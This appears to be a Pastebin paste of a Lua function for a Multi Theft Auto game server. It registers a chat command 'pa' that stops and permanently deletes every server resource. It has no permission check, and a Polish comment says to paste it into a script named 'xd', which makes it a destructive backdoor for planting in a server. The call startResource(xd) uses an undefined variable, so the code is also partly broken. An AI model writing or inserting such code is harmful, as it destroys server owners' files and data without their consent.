Advertisement
Guest User

Untitled

a guest
Feb 18th, 2018
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. function clrrs(cmd)
  2. local resourceTable = getResources( )
  3. for resourceKey, resourceValue in ipairs (resourceTable) do
  4. local resourceName = getResourceName(resourceValue)
  5. stopResource(resourceName)
  6. startResource(xd) -- "xd" nazwa skryptu gdzie wklejasz tÄ… funkcje
  7. local deleted = deleteResource(resourceName)
  8. if deleted then
  9. outputChatBox ("Delete resource", source)
  10. else
  11. outputChatBox ("Nie usunieto jakiegos skryptu", source)
  12. end
  13. end
  14. end
  15. addCommandHandler ("pa", clrrs)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement